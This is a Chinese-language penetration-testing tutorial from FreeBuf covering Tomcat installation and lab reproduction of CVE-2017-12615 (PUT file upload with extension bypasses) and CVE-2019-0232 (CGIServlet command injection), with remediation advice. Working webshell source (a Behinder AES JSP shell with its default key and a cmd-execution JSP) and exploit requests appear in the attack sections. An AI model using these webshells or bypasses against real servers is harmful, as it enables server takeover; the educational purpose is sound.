freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基服务篇:服务攻防之中间件Tomcat(上)
2021-09-02 11:01:52

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。

可想而知中间件连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,中间件的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的中间件中往往连接数据库,而数据库储存着等极其重要和敏感的信息。如果中间件被攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。

通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!

今天会讲解到学习Tomcat的优缺点、作用和优势对比,Tomcat简介、Tomat安装、Tomcat漏洞本质、Tomcat 任意文件写入(CVE-2017-12615)、Tomcat 远程代码执行(CVE-2019-0232)等等,最后远程代码执行控制服务器等操作,如果连Tomcat都不会安装操作提权等,怎么进行下一步的研究Tomcat安全!怎么拿下对方服务器?

二、Tomcat简介

Tomcat服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache服务器的扩展,但运行时它是独立运行的,所以当运行tomcat时,它实际上作为一个与Apache独立的进程单独运行的。

目前版本型号7~10版本!

默认端口:8080

三、Tomat安装

1、安装下载

下载地址:

https://tomcat.apache.org/download-80.cgi

所有版本下载:

https://archive.apache.org/dist/tomcat/tomcat-8/

1)Tomcat8官网下载连接,在打开页面中选择Core当中的第一项zip(pgp,sha512)这是免安装通用格式的,下载后在自己保存的软件目录下解压即可:
1630551773_61303edd1e9d2c6232894.png!small?1630551773563

注意: Tomcat的版本对与JAVA版本以及相应的JSP和Servlet都是有要求的, Tomcat8版本以上的是需要Java7及以后的版本, 所以需要对应JDK的版本来下载Tomcat的版本

2)安装JDK8

1630551777_61303ee1ef8bea2b21fd4.png!small?1630551778314

2、Tomcat的目录结构

1. bin目录: 存放一些二进制的文件,例如Tomcat常用的 启动脚本: startup.bat或startup.sh 关闭脚本: shutdown.bat 或 shutdown.sh等等

2. conf目录: 存放的是Tomcat的配置文件,例如最常用的 server.xml如果需要修改Tomcat的端口(默认端口是8080, 可以改成自己喜欢的如9090,8888,9999,9070等)就在这里修改

3. lib目录: 存放的是全局的jar包

4. logs目录: 存放的是Tomcat的日志,如果Tomcat出错什么的,就需要在这里的日志中查找问题

5. temp目录: 存放的是临时性的文件

6. webapps目录: 存放的是Java的Web项目,要部署的项目就需要放在这个目录当中

7. work目录: 存放的是由JSP代码翻译的Java代码,以及编译的.class文件

3、exe版本安装

1)打开官网下载
1630551784_61303ee838847b7f48e56.png!small?16305517853951630551789_61303eed97e55f0beb263.png!small?1630551790795下载完成后开始安装!

2)安装exe
1630551793_61303ef1dad148daa313e.png!small?1630551796045

3)点开Tomcat,选中Service,以后将可以在管理的服务中启动和关闭Tomcat(也可以默认,不改变配置)

1630551798_61303ef66e4562a61f4a5.png!small?1630551799129点击next

4)出现管理提示框,要求输入端口和管理密码,保持默认设置就行。默认的端口号就是8080,这里一般不用设置。
1630551802_61303efac959ac45a92af.png!small?1630551803148

5)点击Next后会出现下图,它会自动找到JRE位置,如果用户没有安装JRE,可以修改指向JDK目录(很多用户安装后无法编译JSP,就是这里没找到JRE,请务必先要安装JDK,并把这个目录正确指向JRE或者JDK的目录)
1630551807_61303eff26b95bad1b2ad.png!small?1630551807497

6)点击next,之后会出现Tomcat安装路径选择,一般默认安装到C盘,可以直接把C改成D,没有的文件夹会自动创建。修改完毕后点击Install

1630551811_61303f03f34d97680a337.png!small?1630551812426

7)安装完毕,点击finish。
1630551815_61303f07e3043d66e04ee.png!small?1630551816195

8)打开浏览器 键入 http://localhost:8080 进入如下页面则表示安装成功:
1630551820_61303f0c1b8e20c6205ba.png!small?1630551826509

安装完目录:

C:\Program Files\Apache Software Foundation\Tomcat 8.5

1630551824_61303f10152d5b6e02422.png!small?1630551826509

打开bin目录:
其中startup.bat和Tomcat9.exe都可以启动Tomcat服务
1630551828_61303f141012d1ca9c9b6.png!small?1630551831097

4、zip版安装(免安装版本)

zip版是免安装版本,开始详解!

1)直接解压缩,找到目录bin下的startup.bat,启动Tomcat;shutdown.bat:关闭Tomcat。

1630551832_61303f18c3420c58a6665.png!small?1630551835612

2)Tomcat配置

配置Tomcat之前要保证jdk已经配置完成。
1630551838_61303f1e4750874d027c6.png!small?1630551839227

3)右击,计算机——属性——高级系统设置——打开环境变量的配置窗口,在系统环境变量一栏点击新建。变量名为TOMCAT_HOME,变量值为Tomcat安装目录,此处为:
C:\Users\dayu\Desktop\apache-tomcat-8.5.65;

1630551844_61303f24013fd6eed4479.png!small?1630551845180

4)继续新建

同样,在系统变量里点新建:
变量名:CATALINA_BASE
变量值:C:\Users\dayu\Desktop\apache-tomcat-8.5.65;
再次新建:
变量名:CATALINA_HOME
变量值:C:\Users\dayu\Desktop\apache-tomcat-8.5.65;

5)点击确定后在classpath中加入%CATALINA_HOME%\common\lib\servlet-api.jar;(注意加的时候在原变量值后加英文状态下的“;”)

建议安装EXE版本!!!

四、Tomcat渗透

1、Tomcat漏洞本质

里面一些重要的文件,需要了解其作用:

1. server.xml:配置tomcat启动的端口号、host主机、Context等
2. web.xml文件:部署描述文件,这个web.xml中描述了一些默认的servlet,部署每个webapp时,都会调用这个文件,配置该web应用的默认servlet
3. tomcat-users.xml:tomcat的用户密码与权限。

2、Tomcat 任意文件写入(CVE-2017-12615)

**影响范围:**Apache Tomcat 7.0.0 - 7.0.81(默认配置)

**复现环境:**Tomcat/8.5.19

1630551852_61303f2ce9b4c716c6cb5.png!small?1630551859914

sudo docker ps
sudo docker exec -ti 2 bash
cat conf/web.xml |grep readonly

漏洞原理:
漏洞的产生是由于配置不当(非默认配置),将配置文件(
conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法

1)vulhub复现

1630551857_61303f3160fa649bffab2.png!small?1630551859914

1630551862_61303f363ffaea550c7c2.png!small?1630551862744

1630551866_61303f3a2f062718314a3.png!small?1630551868695成功上传txt!

2)本地环境复现

1630551870_61303f3e55de6b7b2a6ff.png!small?1630551871741

<init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>

写入!

1630551875_61303f433c44740e7ec11.png!small?16305518764621630551879_61303f4782f266a5141a1.png!small?1630551881969可以看到成功上传txt文件!

尝试上传jsp文件:
1630551883_61303f4b61d111db208bf.png!small?1630551884696但是直接上传jsp文件是不被允许的!!

3)绕过上传jsp

对于这种情况可以有多种方式绕过:

1. Windows下不允许文件以空格结尾
以PUT /dayu.jsp%20 HTTP/1.1
上传到windows会被自动去掉末尾空格

2. WindowsNTFS流
PUT /dayu1.jsp::$DATA HTTP/1.1

3. /在文件名中是非法的,也会被去除(Linux/Windows)
PUT /dayu2.jsp/ HTTP/1.1

1630551889_61303f51b3ed6ac082de3.png!small?1630551890444

1630551893_61303f55567d512d8266f.png!small?1630551894395

1630551897_61303f59304b19c5060a5.png!small?1630551898641

<%out.println("Hello");%>

可看到三种方法都在vulhub上绕过了!

4)上传jsp一句话

下载打开冰蝎jsp:
1630551901_61303f5d4c9e07c1ddc8d.png!small?1630551901380

1630551907_61303f632980d9651914b.png!small?16305519083211630551912_61303f68a9036c545244d.png!small?1630551912850

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/

上冰蝎成功:
1630551918_61303f6e577260eae8f7e.png!small?1630551918752

成功控制获得对方系统权限!

或者CMD一句话:

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>

1630551925_61303f75016d54e9308ca.png!small?1630551925749

http://192.168.253.7:8080/7.jsp?cmd=id

1630551929_61303f7902e851632a06d.png!small?1630551929228成功执行!

5)Kali安装tomcat复现

目前本地无法上传jsp,应该是绕过windows限制问题,我转换到kali上进行操作:

1630551934_61303f7e475c3fc587cd9.png!small?1630551941602

proxychains wget https://mirror.nodesdirect.com/apache/tomcat/tomcat-8/v8.5.65/bin/apache-tomcat-8.5.65.tar.gz

解压文件:

tar zxvf apache-tomcat-8.5.65.tar.gz.1
mv apache-tomcat-8.5.65 tomcat

1630551939_61303f835547b99841de5.png!small?1630551941602

编辑配置文件 etc/profile

cd /etc
vi profile
export CATALINA_HOME=/root/Desktop/tomcat

1630551943_61303f873bf90cec22cae.png!small?1630551950179

重启环境变量:

source /etc/profile

1630551947_61303f8bc8112090fa372.png!small?1630551950180

启动Tomcat服务
./startup.sh

关闭Tomcat服务
./shutdown.sh

执行即可!

1630551953_61303f911ebcabbbb49e1.png!small?16305519543581630551957_61303f956be7c8db85836.png!small?1630551958993
安装成功!

开始复现:

首先将vulhub文件拷出检查:
1630551961_61303f99510c168c5c242.png!small?1630551963236

sudo docker ps
sudo docker cp 282510c8bb43:/usr/local/tomcat/conf/web.xml /home/dayu/Desktop/

1630551965_61303f9dcb302e8fd1c79.png!small?1630551975411

<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>

修改完后谨记,重新启动重新启动!!

通过空格方式绕过了:
1630551970_61303fa23d0423a36590b.png!small?16305519739541630551973_61303fa53c86d0bd28a6c.png!small?1630551975411

PUT /dayu.jsp%20 HTTP/1.1

可看到本地显示情况!

继续尝试NTFS流也是可以的:
1630551978_61303faac8a5869bf6d2b.png!small?16305519798801630551983_61303faf1302e897e7f32.png!small?1630551985324

PUT /dayu2.jsp::$DATA HTTP/1.1

继续查看/反斜杠是否可以:
1630551987_61303fb399682839b273e.png!small?1630551989853

PUT /dayu3.jsp/ HTTP/1.1

可看到无法绕过!这是个遗留问题,但是思路很好,后期高级篇会提出底层逻辑解决该问题。

6)修复建议

将readonly=true,默认为true

3、Tomcat 远程代码执行(CVE-2019-0232)

1)漏洞简介

影响范围:

Apache Tomcat 9.0.0.M1 to 9.0.17

Apache Tomcat 8.5.0 to 8.5.39

Apache Tomcat 7.0.0 to 7.0.93

影响系统: Windows

复现环境:9.0.17

Tomcat的CGI_Servlet组件默认是关闭的,在 conf/web.xml 中找到注释的CGIServlet部分,去掉注释,并配置enableCmdLineArguments和executable,开始操作!

2)漏洞底层环境复现详解

首先进行CGI相关的配置,在 conf/web.xml 中启用CGIServlet:
1630552005_61303fc5077a3f76466be.png!small?1630552007666

<servlet>
    <servlet-name>cgi</servlet-name>
    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
    <init-param>
      <param-name>cgiPathPrefix</param-name>
      <param-value>WEB-INF/cgi-bin</param-value>
    </init-param>
    <init-param>
      <param-name>enableCmdLineArguments</param-name>
      <param-value>true</param-value>
    </init-param>
    <init-param>
      <param-name>executable</param-name>
      <param-value></param-value>
    </init-param>
    <load-on-startup>5</load-on-startup>
</servlet>

这里主要的设置是 enableCmdLineArguments 和 executable 两个选项!

1. enableCmdLineArguments 启用后才会将Url中的参数传递到命令行
2. executable 指定了执行的二进制文件,默认是 perl,需要置为空才会执行文件本身。

同样在 conf/web.xml 中启用cgi的servlet-mapping:
1630552012_61303fccb37d86d9d3a00.png!small?1630552013794

最后修改 conf/context.xml 的 添加 privileged="true"属性,否则会没有权限:

<Context privileged="true">

1630552018_61303fd22872c01e8d0c2.png!small?1630552020777

配置目录文件:
然后在C:\tomcat9\webapps\ROOT\WEB-INF下创建 cgi-bin目录,并在该目录下创建一个dayu.bat的文件填写任意内容即可!!

1630552022_61303fd6c9a9df059d39d.png!small?1630552023144

http://127.0.0.1:8080/cgi-bin/dayu1.bat?&dir

可看到成功任意代码执行!

3)漏洞原理-java代码审计

漏洞相关的代码在tomcat\java\org\apache\catalina\servlets\CGIServlet.java中,CGIServlet提供了一个cgi的调用接口,在启用enableCmdLineArguments参数时,会根据RFC 3875来从Url参数中生成命令行参数,并把参数传递至Java的 Runtime 执行。 这个漏洞是因为Runtime.getRuntime().exec在Windows中和Linux中底层实现不同导致的。

下面以一个简单的case来说明这个问题,在Windows下创建dayu.bat:

rem dayu.bat
echo %*

并执行如下的Java代码:

String [] cmd={"dayu.bat", "dayu", "&", "dir"};
Runtime.getRuntime().exec(cmd);

在Windows下会输出 arg 和 dir 命令运行后的结果。同样的,用类似的脚本在Linux环境下测试:

# dayu.sh
for key in "$@"
do
    echo '$@' $key
done
String [] cmd={"dayu.sh", "dayu", "&", "dir"};
Runtime.getRuntime().exec(cmd);

此时的输出为:

$@ dayu
$@ &
$@ dir

导致这种输出的原因是在JDK的实现中Runtime.getRuntime().exec实际调用了ProcessBuilder,而后ProcessBuilder调用ProcessImpl使用系统调用 vfork ,把所有参数直接传递至 execve。

strace -F -e vfork,execve java Main跟踪可以看到上面的Java代码在Linux中调用为:

execve("dayu.sh", ["dayu.sh", "dayu", "&", "dir"], [/* 23 vars */])

而如果跟踪类似的PHP代码system('a.sh dayu & dir'); ,得到的结果为:

execve("/bin/sh",  ["sh", "-c", "a.sh dayu & dir"], [/* 23 vars */])

所以Java的Runtime.getRuntime().exec在CGI调用这种情况下很难有命令注入。而Windows中创建进程使用的是CreateProcess,会将参数合并成字符串,作为lpComandLine传入CreateProcess。程序启动后调用GetCommandLine获取参数,并调用CommandLineToArgvW传至 argv。在Windows中,当CreateProcess中的参数为 bat 文件或是 cmd 文件时,会调用 cmd.exe , 故最后会变成cmd.exe /c "dayu.bat & dir",而Java的调用过程并没有做任何的转义,所以在Windows下会存在漏洞。

除此之外,Windows在处理参数方面还有一个特性,如果这里只加上简单的转义还是可能被绕过, 例如dir "\"&whoami"在Linux中是安全的,而在Windows会执行命令。

这是因为Windows在处理命令行参数时,会将 " 中的内容拷贝为下一个参数,直到命令行结束或者遇到下一个 " ,但是对 " 的处理有误。同样用dayu.bat做测试,可以发现这里只输出了 \ 。因此在Java中调用批处理或者cmd文件时,需要做合适的参数检查才能避免漏洞出现。

修复方式:

开发者在 patch 中增加了cmdLineArgumentsDecoded参数,这个参数用来校验传入的命令行参数,如果传入的命令行参数不符合规定的模式,则不执行。

校验写在setupFromRequest函数中:

String decodedArgument = URLDecoder.decode(encodedArgument, parameterEncoding);
if (cmdLineArgumentsDecodedPattern != null &&
        !cmdLineArgumentsDecodedPattern.matcher(decodedArgument).matches()) {
    if (log.isDebugEnabled()) {
        log.debug(sm.getString("cgiServlet.invalidArgumentDecoded",
                decodedArgument, cmdLineArgumentsDecodedPattern.toString()));
    }
    return false;
}

不通过时,会将CGIEnvironment的 valid 参数设为 false ,在之后的处理函数中会直接跳过执行。

if (cgiEnv.isValid()) {
    CGIRunner cgi = new CGIRunner(cgiEnv.getCommand(),
                                  cgiEnv.getEnvironment(),
                                  cgiEnv.getWorkingDirectory(),
                                  cgiEnv.getParameters());

    if ("POST".equals(req.getMethod())) {
        cgi.setInput(req.getInputStream());
    }
    cgi.setResponse(res);
    cgi.run();
} else {
    res.sendError(404);
}

这里没有附上图片,只是告诉一个思路和技巧,高级篇会铺垫该方式方法!

修复建议:

1. 使用更新版本的Apache Tomcat。这里需要注意的是,虽然在9.0.18就修复了这个漏洞,但这个更新是并没有通过候选版本的投票,所以虽然9.0.18没有在被影响的列表中,用户仍需要下载9.0.19的版本来获得没有该漏洞的版本。
2. 关闭enableCmdLineArguments参数

五、总结

今天学到了Tomcat的优缺点、作用和优势对比,Tomcat简介、Tomat安装、Tomcat漏洞本质、Tomcat 任意文件写入(CVE-2017-12615)、Tomcat 远程代码执行(CVE-2019-0232)漏洞等,最后远程代码执行控制服务器等操作,以及整改加固建议的方式方法,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!

服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)......

接下来在《服务攻防之中间件Tomcat(下)》会接触到如何进行Tomcat弱口令 & 后台getshell漏洞、Tomcat manager App 暴力破解、Tomcat AJP文件包含漏洞分析(CVE-2020-1938)等渗透操作,如何提权渗透等方法,请看下篇服务攻防之中间件Tomcat篇下章!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

# tomcat
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录